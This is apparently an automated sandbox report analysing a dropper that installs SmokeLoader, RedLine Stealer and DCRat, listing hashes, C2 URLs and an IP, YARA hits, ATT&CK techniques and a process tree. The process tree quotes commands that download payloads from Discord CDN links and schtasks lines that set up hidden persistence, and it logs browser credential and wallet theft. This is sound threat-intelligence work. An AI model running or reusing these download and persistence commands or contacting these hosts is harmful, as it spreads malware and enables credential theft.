dcrat | 64dc2b5958fe37dd9733928c156e0c75ab544e2e0169f9f796c3f3db809bcbe5

Target

toolspab2 (17).exe
Size

315KB
MD5

1d20e1f65938e837ef1b88f10f1bd6c3
SHA1

703d7098dbfc476d2181b7fc041cc23e49c368f1
SHA256

05cd7440851f13dd8f489bb3c06eba385d85d7d9a77a612049c04c541a88593d
SHA512

f9d333abe1f721b8d45d7bc6b5f286af09a8d233bd1d41f0ad891840cf742364aeca2cb6ccd6543f56a8eaf32804f82f72f961d16d5ba663ad706d164915a196

Score

10^/10

dcrat redline smokeloader agressor backdoor discovery infostealer rat spyware stealer trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32

Extracted

Family

redline

Botnet

agressor

65.21.122.45:8085

Signatures

DCrat 2 IoCs

DarkCrystalrat.

rat

resource	yara_rule
behavioral18/files/0x00040000000155ef-201.dat	Dark_crystal_rat
behavioral18/files/0x00040000000155ef-207.dat	Dark_crystal_rat

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

resource	yara_rule
behavioral18/memory/3644-139-0x00000000021B0000-0x00000000021CB000-memory.dmp	family_redline
behavioral18/memory/3644-141-0x0000000002390000-0x00000000023A9000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

DCRat Payload 10 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral18/files/0x00020000000152e1-197.dat	dcrat
behavioral18/files/0x00020000000152e1-198.dat	dcrat
behavioral18/files/0x00040000000155ef-201.dat	dcrat
behavioral18/files/0x00040000000155ef-207.dat	dcrat
behavioral18/files/0x00050000000152e0-218.dat	dcrat
behavioral18/files/0x00050000000152e0-217.dat	dcrat
behavioral18/files/0x000100000001ab63-230.dat	dcrat
behavioral18/files/0x000100000001ab63-231.dat	dcrat
behavioral18/files/0x00020000000155f1-235.dat	dcrat
behavioral18/files/0x00020000000155f1-236.dat	dcrat

Downloads MZ/PE file

Executes dropped EXE 17 IoCs

pid	Process
3644	2E25.exe
2148	biguvwh
2272	biguvwh
3440	biguvwh
1012	biguvwh
3836	FE02.exe
3980	extd.exe
4928	extd.exe
4432	extd.exe
4892	ost.exe
4896	cmd.exe
3940	extd.exe
4116	fontWinnetDhcpfontref.exe
5000	winlogon.exe
3356	csrss.exe
1404	biguvwh
1920	biguvwh

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral18/files/0x000400000000068b-185.dat	upx
behavioral18/files/0x000400000000068b-186.dat	upx
behavioral18/files/0x0002000000015298-190.dat	upx
behavioral18/files/0x0002000000015298-191.dat	upx
behavioral18/files/0x0002000000015298-193.dat	upx
behavioral18/files/0x0002000000015298-195.dat	upx
behavioral18/files/0x0002000000015298-206.dat	upx

Deletes itself 1 IoCs

pid	Process
2416	Process not Found

Loads dropped DLL 2 IoCs

pid	Process
5112	toolspab2 (17).exe
1012	biguvwh

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\EnterpriseDesktopAppMgmtCSP\dllhost.exe	ost.exe
File created	C:\Windows\System32\EnterpriseDesktopAppMgmtCSP\5940a34987c99120d96dace90a3f93f329dcad63	ost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4428 set thread context of 5112	4428	toolspab2 (17).exe	78
PID 2148 set thread context of 2272	2148	biguvwh	92
PID 3440 set thread context of 1012	3440	biguvwh	94
PID 1404 set thread context of 1920	1404	biguvwh	129

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\write\explorer.exe	fontWinnetDhcpfontref.exe
File created	C:\Windows\write\7a0fd90576e08807bde2cc57bcf9854bbce05fe3	fontWinnetDhcpfontref.exe
File created	C:\Windows\mib\explorer.exe	ost.exe
File created	C:\Windows\mib\7a0fd90576e08807bde2cc57bcf9854bbce05fe3	ost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab2 (17).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	biguvwh
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	biguvwh
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	biguvwh
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab2 (17).exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspab2 (17).exe

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4992	schtasks.exe
4932	schtasks.exe
2892	schtasks.exe
4568	schtasks.exe
4532	schtasks.exe
3336	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	ost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4264	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5112	toolspab2 (17).exe
5112	toolspab2 (17).exe
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2416	Process not Found
3356	csrss.exe

Suspicious behavior: MapViewOfSection 20 IoCs

pid	Process
5112	toolspab2 (17).exe
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found
1012	biguvwh

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	2E25.exe
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeDebugPrivilege	4892	ost.exe
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeDebugPrivilege	4116	fontWinnetDhcpfontref.exe
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeDebugPrivilege	5000	winlogon.exe
Token: SeDebugPrivilege	3356	csrss.exe
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found
Token: SeCreatePagefilePrivilege	2416	Process not Found
Token: SeShutdownPrivilege	2416	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2416	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
2416	Process not Found
2416	Process not Found
2416	Process not Found
2416	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4428 wrote to memory of 5112	4428	toolspab2 (17).exe	78
PID 4428 wrote to memory of 5112	4428	toolspab2 (17).exe	78
PID 4428 wrote to memory of 5112	4428	toolspab2 (17).exe	78
PID 4428 wrote to memory of 5112	4428	toolspab2 (17).exe	78
PID 4428 wrote to memory of 5112	4428	toolspab2 (17).exe	78
PID 4428 wrote to memory of 5112	4428	toolspab2 (17).exe	78
PID 2416 wrote to memory of 3644	2416	Process not Found	80
PID 2416 wrote to memory of 3644	2416	Process not Found	80
PID 2416 wrote to memory of 3644	2416	Process not Found	80
PID 2416 wrote to memory of 2332	2416	Process not Found	81
PID 2416 wrote to memory of 2332	2416	Process not Found	81
PID 2416 wrote to memory of 2332	2416	Process not Found	81
PID 2416 wrote to memory of 2332	2416	Process not Found	81
PID 2416 wrote to memory of 4032	2416	Process not Found	82
PID 2416 wrote to memory of 4032	2416	Process not Found	82
PID 2416 wrote to memory of 4032	2416	Process not Found	82
PID 2416 wrote to memory of 4108	2416	Process not Found	83
PID 2416 wrote to memory of 4108	2416	Process not Found	83
PID 2416 wrote to memory of 4108	2416	Process not Found	83
PID 2416 wrote to memory of 4108	2416	Process not Found	83
PID 2416 wrote to memory of 3164	2416	Process not Found	84
PID 2416 wrote to memory of 3164	2416	Process not Found	84
PID 2416 wrote to memory of 3164	2416	Process not Found	84
PID 2416 wrote to memory of 3976	2416	Process not Found	85
PID 2416 wrote to memory of 3976	2416	Process not Found	85
PID 2416 wrote to memory of 3976	2416	Process not Found	85
PID 2416 wrote to memory of 3976	2416	Process not Found	85
PID 2416 wrote to memory of 4188	2416	Process not Found	86
PID 2416 wrote to memory of 4188	2416	Process not Found	86
PID 2416 wrote to memory of 4188	2416	Process not Found	86
PID 2416 wrote to memory of 4260	2416	Process not Found	87
PID 2416 wrote to memory of 4260	2416	Process not Found	87
PID 2416 wrote to memory of 4260	2416	Process not Found	87
PID 2416 wrote to memory of 4260	2416	Process not Found	87
PID 2416 wrote to memory of 4280	2416	Process not Found	88
PID 2416 wrote to memory of 4280	2416	Process not Found	88
PID 2416 wrote to memory of 4280	2416	Process not Found	88
PID 2416 wrote to memory of 4384	2416	Process not Found	89
PID 2416 wrote to memory of 4384	2416	Process not Found	89
PID 2416 wrote to memory of 4384	2416	Process not Found	89
PID 2416 wrote to memory of 4384	2416	Process not Found	89
PID 2148 wrote to memory of 2272	2148	biguvwh	92
PID 2148 wrote to memory of 2272	2148	biguvwh	92
PID 2148 wrote to memory of 2272	2148	biguvwh	92
PID 2148 wrote to memory of 2272	2148	biguvwh	92
PID 2148 wrote to memory of 2272	2148	biguvwh	92
PID 2148 wrote to memory of 2272	2148	biguvwh	92
PID 3440 wrote to memory of 1012	3440	biguvwh	94
PID 3440 wrote to memory of 1012	3440	biguvwh	94
PID 3440 wrote to memory of 1012	3440	biguvwh	94
PID 3440 wrote to memory of 1012	3440	biguvwh	94
PID 3440 wrote to memory of 1012	3440	biguvwh	94
PID 3440 wrote to memory of 1012	3440	biguvwh	94
PID 2416 wrote to memory of 3836	2416	Process not Found	95
PID 2416 wrote to memory of 3836	2416	Process not Found	95
PID 2416 wrote to memory of 3836	2416	Process not Found	95
PID 3836 wrote to memory of 2216	3836	FE02.exe	96
PID 3836 wrote to memory of 2216	3836	FE02.exe	96
PID 2216 wrote to memory of 3980	2216	cmd.exe	99
PID 2216 wrote to memory of 3980	2216	cmd.exe	99
PID 2216 wrote to memory of 3980	2216	cmd.exe	99
PID 2216 wrote to memory of 4928	2216	cmd.exe	100
PID 2216 wrote to memory of 4928	2216	cmd.exe	100
PID 2216 wrote to memory of 4928	2216	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\toolspab2 (17).exe
"C:\Users\Admin\AppData\Local\Temp\toolspab2 (17).exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Users\Admin\AppData\Local\Temp\toolspab2 (17).exe
  "C:\Users\Admin\AppData\Local\Temp\toolspab2 (17).exe"
  2⤵
  - Loads dropped DLL
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:5112

C:\Users\Admin\AppData\Local\Temp\2E25.exe
C:\Users\Admin\AppData\Local\Temp\2E25.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3644

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2332

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4032

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4108

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3164

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3976

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4188

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4260

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4280

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4384

C:\Users\Admin\AppData\Roaming\biguvwh
C:\Users\Admin\AppData\Roaming\biguvwh
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Users\Admin\AppData\Roaming\biguvwh
  C:\Users\Admin\AppData\Roaming\biguvwh
  2⤵
  - Executes dropped EXE
  PID:2272

C:\Users\Admin\AppData\Roaming\biguvwh
C:\Users\Admin\AppData\Roaming\biguvwh
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3440
- C:\Users\Admin\AppData\Roaming\biguvwh
  C:\Users\Admin\AppData\Roaming\biguvwh
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1012

C:\Users\Admin\AppData\Local\Temp\FE02.exe
C:\Users\Admin\AppData\Local\Temp\FE02.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\16.bat C:\Users\Admin\AppData\Local\Temp\FE02.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3980
- - C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/862256247017701399/862656906162077706/ost.exe" "ost.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4928
- - C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/862256247017701399/862373640586133504/cmd.exe" "cmd.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:4432
- - C:\Users\Admin\AppData\Local\Temp\1822\ost.exe
    ost.exe
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    PID:4892
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:4932
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\mib\explorer.exe'" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:2892
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\EnterpriseDesktopAppMgmtCSP\dllhost.exe'" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:4568
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\k7BrOBmS9I.bat"
      4⤵
      PID:4004
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4292
    - - C:\Windows\system32\PING.EXE
        
        ping -n 5 localhost
        5⤵
        Runs ping.exe
        
        PID:4264
    - - C:\Recovery\WindowsRE\csrss.exe
        
        "C:\Recovery\WindowsRE\csrss.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:3356
- - C:\Users\Admin\AppData\Local\Temp\1822\cmd.exe
    cmd.exe
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    PID:4896
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\fontWinnetDhcp\exmIkg.vbe"
      4⤵
      PID:2228
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\fontWinnetDhcp\Kam3E.bat" "
        5⤵
        
        PID:1832
      - C:\fontWinnetDhcp\fontWinnetDhcpfontref.exe
        
        "C:\fontWinnetDhcp\fontWinnetDhcpfontref.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of AdjustPrivilegeToken
        
        PID:4116
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default\Links\winlogon.exe'" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:4532
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Admin\Searches\conhost.exe'" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:3336
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\write\explorer.exe'" /rl HIGHEST /f
        7⤵
        Creates scheduled task(s)
        
        PID:4992
        
        C:\Users\Default\Links\winlogon.exe
        
        "C:\Users\Default\Links\winlogon.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5000
- - C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\14.tmp\15.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3940

C:\Users\Admin\AppData\Roaming\biguvwh
C:\Users\Admin\AppData\Roaming\biguvwh
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1404
- C:\Users\Admin\AppData\Roaming\biguvwh
  C:\Users\Admin\AppData\Roaming\biguvwh
  2⤵
  - Executes dropped EXE
  PID:1920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1404-246-0x0000000000460000-0x000000000050E000-memory.dmp

Filesize
696KB

Download
memory/2148-174-0x0000000000550000-0x000000000069A000-memory.dmp

Filesize
1.3MB

Download
memory/2332-125-0x0000000002B80000-0x0000000002BEB000-memory.dmp

Filesize
428KB

Download
memory/2332-124-0x0000000002E00000-0x0000000002E74000-memory.dmp

Filesize
464KB

Download
memory/2416-119-0x0000000000FA0000-0x0000000000FB7000-memory.dmp

Filesize
92KB

Download
memory/2416-183-0x0000000001450000-0x0000000001467000-memory.dmp

Filesize
92KB

Download
memory/3164-133-0x00000000006A0000-0x00000000006A9000-memory.dmp

Filesize
36KB

Download
memory/3164-134-0x0000000000690000-0x000000000069F000-memory.dmp

Filesize
60KB

Download
memory/3356-240-0x000000001C602000-0x000000001C603000-memory.dmp

Filesize
4KB

Download
memory/3440-181-0x0000000000460000-0x00000000005AA000-memory.dmp

Filesize
1.3MB

Download
memory/3644-148-0x0000000000400000-0x000000000046F000-memory.dmp

Filesize
444KB

Download
memory/3644-142-0x0000000005090000-0x0000000005091000-memory.dmp

Filesize
4KB

Download
memory/3644-157-0x0000000005780000-0x0000000005781000-memory.dmp

Filesize
4KB

Download
memory/3644-150-0x0000000004B80000-0x0000000004B81000-memory.dmp

Filesize
4KB

Download
memory/3644-151-0x0000000004B82000-0x0000000004B83000-memory.dmp

Filesize
4KB

Download
memory/3644-164-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/3644-147-0x0000000000470000-0x00000000005BA000-memory.dmp

Filesize
1.3MB

Download
memory/3644-152-0x0000000004B83000-0x0000000004B84000-memory.dmp

Filesize
4KB

Download
memory/3644-167-0x0000000006FB0000-0x0000000006FB1000-memory.dmp

Filesize
4KB

Download
memory/3644-165-0x0000000006590000-0x0000000006591000-memory.dmp

Filesize
4KB

Download
memory/3644-166-0x0000000006B40000-0x0000000006B41000-memory.dmp

Filesize
4KB

Download
memory/3644-139-0x00000000021B0000-0x00000000021CB000-memory.dmp

Filesize
108KB

Download
memory/3644-144-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

Filesize
4KB

Download
memory/3644-143-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/3644-153-0x0000000004B84000-0x0000000004B86000-memory.dmp

Filesize
8KB

Download
memory/3644-156-0x0000000004AE0000-0x0000000004AE1000-memory.dmp

Filesize
4KB

Download
memory/3644-141-0x0000000002390000-0x00000000023A9000-memory.dmp

Filesize
100KB

Download
memory/3644-140-0x0000000004B90000-0x0000000004B91000-memory.dmp

Filesize
4KB

Download
memory/3976-136-0x0000000002790000-0x0000000002795000-memory.dmp

Filesize
20KB

Download
memory/3976-137-0x0000000002780000-0x0000000002789000-memory.dmp

Filesize
36KB

Download
memory/4032-127-0x0000000000680000-0x0000000000687000-memory.dmp

Filesize
28KB

Download
memory/4032-128-0x00000000003F0000-0x00000000003FC000-memory.dmp

Filesize
48KB

Download
memory/4108-131-0x0000000002CA0000-0x0000000002CAB000-memory.dmp

Filesize
44KB

Download
memory/4108-130-0x0000000002CB0000-0x0000000002CB7000-memory.dmp

Filesize
28KB

Download
memory/4116-225-0x000000001BAC0000-0x000000001BAC2000-memory.dmp

Filesize
8KB

Download
memory/4116-220-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Filesize
4KB

Download
memory/4188-146-0x0000000000300000-0x000000000030C000-memory.dmp

Filesize
48KB

Download
memory/4188-145-0x0000000000310000-0x0000000000316000-memory.dmp

Filesize
24KB

Download
memory/4260-155-0x0000000002EE0000-0x0000000002EE9000-memory.dmp

Filesize
36KB

Download
memory/4260-154-0x0000000002EF0000-0x0000000002EF4000-memory.dmp

Filesize
16KB

Download
memory/4280-160-0x0000000000BD0000-0x0000000000BD9000-memory.dmp

Filesize
36KB

Download
memory/4280-159-0x0000000000BE0000-0x0000000000BE5000-memory.dmp

Filesize
20KB

Download
memory/4384-162-0x0000000002AC0000-0x0000000002AC5000-memory.dmp

Filesize
20KB

Download
memory/4384-163-0x0000000002AB0000-0x0000000002AB9000-memory.dmp

Filesize
36KB

Download
memory/4428-117-0x00000000004C0000-0x00000000004CC000-memory.dmp

Filesize
48KB

Download
memory/4892-210-0x000000001B8E0000-0x000000001B8E2000-memory.dmp

Filesize
8KB

Download
memory/4892-200-0x0000000000A80000-0x0000000000A81000-memory.dmp

Filesize
4KB

Download
memory/5000-239-0x000000001B160000-0x000000001B162000-memory.dmp

Filesize
8KB

Download
memory/5112-114-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download